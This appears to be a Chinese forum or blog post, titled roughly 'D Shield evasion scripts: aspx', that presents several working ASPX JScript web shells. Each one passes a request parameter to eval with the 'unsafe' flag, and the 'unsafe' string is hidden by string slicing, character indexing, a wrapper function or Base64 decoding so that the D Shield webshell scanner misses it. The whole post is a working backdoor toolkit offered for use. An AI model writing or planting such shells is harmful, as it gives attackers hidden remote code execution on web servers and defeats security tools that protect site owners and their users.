无限免杀D盾脚本之aspx

1

 2019-7-15 自己发在土司的文章

1
2
3
4

字符串拼接
函数
数组
Base64编码

1

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

1

Function xxx(){}//声明一个函数

1
2

Var a =’a’+’b’;//a=’ab’;
Var a= ‘\x61’; //a=’a’;

1
2

Var a=’abc’;
Var b=a(0);//b=’a’;

1
2
3
4
5
6
7
8

<%@ Page Language="Jscript" Debug=true%>
<%
var a=Request.Form("mr6");
var b='aaaunsaaaafe';
var b=b.substr(3,4)+b.substr(10);
eval(a,b);

%>

1
2
3
4
5
6
7

<%@ Page Language="Jscript" Debug=true%>
<%
var a='efasnu';
var b=Request.Form("mr6");
var c=a(5)+a(4)+a(3)+a(2)+a(1)+a(0);
eval(b,c);
%>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

<%@ Page Language="Jscript" Debug=true%>
<%
var a=Request.Form("mr6");
function ok()
{
var c="un";
var b="safe";
return c+b;
}
eval(a,ok());

%>

1

var res=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(‘eXpkZG1yNg==’);//res=’yzddmr6’;

1
2
3
4
5
6
7

<%@ Page Language="Jscript" Debug=true%>
<%
var a=Request.Form("mr6");
var res=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String('dW5zYWZl'));
eval(a,res);

%>